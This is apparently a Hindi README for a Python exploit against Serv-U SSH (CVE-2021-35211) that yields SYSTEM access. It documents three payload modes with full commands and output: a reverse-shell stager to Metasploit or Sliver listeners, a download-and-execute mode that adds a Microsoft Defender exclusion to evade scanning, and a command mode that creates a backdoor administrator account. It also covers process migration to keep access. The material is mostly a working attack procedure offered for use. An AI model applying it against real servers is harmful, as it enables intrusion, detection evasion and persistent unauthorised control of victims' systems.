
Serv-U SSH भेद्यता (CVE-2021-35211) के लिए Python एक्सप्लॉइट, जिसमें कई पेलोड मोड हैं: stage, exec, और download-execute, जो शेलकोड निष्पादन और कमांड इंजेक्शन सक्षम करते हैं।
यह एक्सप्लॉइट हर बार काम नहीं करता, लेकिन इतना काम करता है कि लगभग हर 5 या 6 प्रयासों में से 1 में shellcode चला देगा। हालाँकि, कभी-कभी एक असफल एक्सप्लॉइट Serv-U सर्वर को क्रैश कर सकता है। कृपया सुनिश्चित करें कि आपके rules of engagement सेवा के नुकसान या क्षति के जोखिम की अनुमति देते हैं। परीक्षण में देखे गए लक्षणों में शामिल हैं:
खरीदार सावधान रहें।
संस्करण महत्वपूर्ण हैं। यह एक्सप्लॉइट हार्ड-कोडेड ROP पते उपयोग करता है जो केवल Serv-U संस्करण 15.2.3.717 के विरुद्ध मान्य हैं। हम अन्य संस्करण जोड़ने में सक्षम हो सकते हैं, यदि आपको Serv-U या Windows के विभिन्न संस्करणों के साथ काम करने की आवश्यकता हो तो कृपया पूछें।
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
इसे निम्नलिखित तर्क (arguments) लगते हैं:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
तीन मोड (या पेलोड) हैं जिन्हें आप एक सफल हमले में चला सकते हैं:
stageexecdownloadexecसफल एक्सप्लॉइट पर, एक Metasploit/Sliver-संगत shellcode स्टेजर चलाता है। यह सभी पेलोड्स में सबसे कम विश्वसनीय है; इसके बजाय `downloadexec1 पर विचार करें। इसे ऐसे चलाएँ:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost और stagePort आपके Sliver/Metasploit बॉक्स पर एक listening handler की ओर इंगित करेंगे। आप कोई भी पेलोड चुन सकते हैं, लेकिन मैंने पाया है कि केवल windows/x64/shell/reverse_tcp ही विश्वसनीय रूप से काम करता है। यह दुर्भाग्यपूर्ण है क्योंकि यह एक एन्क्रिप्टेड शेल नहीं है और ऐसा कुछ चलाने से पहले आपको अपने rules of engagement की जाँच करनी होगी।
फिर से, खरीदार सावधान रहें।
अपने kali बॉक्स पर चल रहे Metasploit में इसे ऐसे सेट करें:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
फिर एक्सप्लॉइट चलाएँ:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
वापस kali बॉक्स पर आपको स्टेज अनुरोध और कमांड शेल शुरू होते हुए देखना चाहिए:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
स्टेजर पेलोड में Sliver समर्थन अत्यधिक प्रायोगिक है और शायद ही काम करता है। यदि यह काम करता है, तो आप आमतौर पर सत्र शुरू होते ही तुरंत मरते हुए देखेंगे। लेकिन यदि आपको ऐसा सत्र मिलता है जो तुरंत समाप्त नहीं होता है, तो आप किसी भिन्न प्रक्रिया में माइग्रेट करके अपनी Sliver पहुँच बनाए रखने के लिए कदम उठा सकते हैं।
अपने Sliver सर्वर पर अपना listener सेट करने के लिए stage-listener कमांड चलाएँ। स्टेजिंग के बारे में अधिक जानकारी के लिए Sliver दस्तावेज़ देखें:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
एक्सप्लॉइट को stage मोड में चलाएँ:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
यदि एक्सप्लॉइट काम करता है (और यह Sliver या Meterpreter पेलोड्स के साथ बहुत कम ही काम करता है), तो आपको कुछ ऐसा दिखाई देगा (और हाँ, Sliver ने वह पेलोड नाम स्वयं ही बनाया है!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
पहली चीज़ जो आपको करनी चाहिए वह है एक अलग प्रक्रिया में माइग्रेट करना, क्योंकि इस बात की अच्छी संभावना है कि आपका Sliver सत्र मर जाए और वापस न आए, और लिखने के समय मैं मूल कारण नहीं जानता।
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
सबसे विश्वसनीय मोड और जिसके Microsoft Defender endpoint सुरक्षा द्वारा पकड़े जाने की संभावना सबसे कम है। ऐसा इसलिए है क्योंकि यह Microsoft Defender में एक निर्देशिका exclusion जोड़ने के लिए एक Powershell कमांड (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") का उपयोग करता है, ताकि Sliver/Meterpreter/जो भी बाइनरी हों, उन्हें मैलवेयर के लिए स्कैन न किया जाए। यह आपको Windows Defender से बचाएगा, लेकिन बस इतना ही; आपको अन्य endpoint सुरक्षा तकनीक, network IDS आदि का ध्यान रखना होगा।
सफल होने पर, एक URL से बाइनरी डाउनलोड करता है और उसे निष्पादित करता है। आपको अपनी executable फ़ाइल को होस्ट करने वाले एक वेबसर्वर की आवश्यकता होगी। मैंने Python का उपयोग किया, लेकिन कृपया ध्यान दें कि मैं बिना SSL के स्थानीय नेटवर्क पर परीक्षण कर रहा हूँ। वास्तविक एक्सप्लॉइट्स में यदि आप अनएन्क्रिप्टेड URL उपयोग करना चाहते हैं तो आपको अपने rules of engagement की जाँच करनी होगी।
पहली बार नहीं: खरीदार सावधान रहें।
एक सरल HTTP listener ऐसे चलाएँ:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
listener चालू होने पर आप एक्सप्लॉइट चला सकते हैं:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
आपको अपने listener में कुछ ऐसा दिखाई देना चाहिए:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
लक्ष्य calc.exe निष्पादित करेगा और उपयोगकर्ताओं को फिर से कनेक्ट करने की अनुमति देने के लिए Serv-U सेवा को पुनःआरंभ करेगा। ध्यान दें कि executable कोई विंडो प्रदर्शित नहीं करेगा, लेकिन यदि आप यह उदाहरण चलाते हैं तो आपको Task Manager में wincalc.exe देखना चाहिए।
सफल होने पर, लक्ष्य पर एक कमांड चलाता है। इसे ऐसे चलाएँ:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
यह एक्सप्लॉइट दुर्भाग्य से दूरस्थ प्रक्रिया को क्रैश कर देता है। आम तौर पर यह पुनःआरंभ हो जाती है और मैं यह देखने की कोशिश कर रहा हूँ कि क्या मैं इसे और अधिक स्थिर बना सकता हूँ, लेकिन तब तक कृपया याद रखें: अपने rules of engagement की जाँच करें और खरीदार सावधान रहें।
यह तथ्य कि Serv-U dll पर ASLR अक्षम था, बहुत बड़ी किस्मत थी और बहुत सारी परेशानी बच गई।
अन्य mitigations, जैसे Control Flow Guard ("CFG"), भी अक्षम थे। इसने फिर से बिना GetProcAddress() जैसे महत्वपूर्ण कार्यों तक प्रतिबंधित पहुँच से निपटे बिना एक्सप्लॉइट लिखना आसान बना दिया।
यह बताना उचित है कि ROP स्टैक का पता निकालने के लिए मैं जो विधि उपयोग करता हूँ, वह कभी-कभी एक ऐसा पता उत्पन्न कर सकती है जो 64-बिट संरेखित (aligned) नहीं होता। परिणामस्वरूप, जब GetProcAddress() एक MOVAPS निर्देश (जिसके लिए मेमोरी पते संरेखित होने चाहिए) तक पहुँचता है, तो एक्सप्लॉइट क्रैश हो जाता है। एक्सप्लॉइट को अधिक विश्वसनीय बनाने के लिए, एक समाधान ROP स्टैक को एक संरेखित पते पर स्थित करने के लिए बाध्य करना हो सकता है; इसके लिए ROP पेलोड में कुछ हेरफेर की आवश्यकता होगी और यह पाठक के लिए एक अभ्यास के रूप में छोड़ दिया गया है।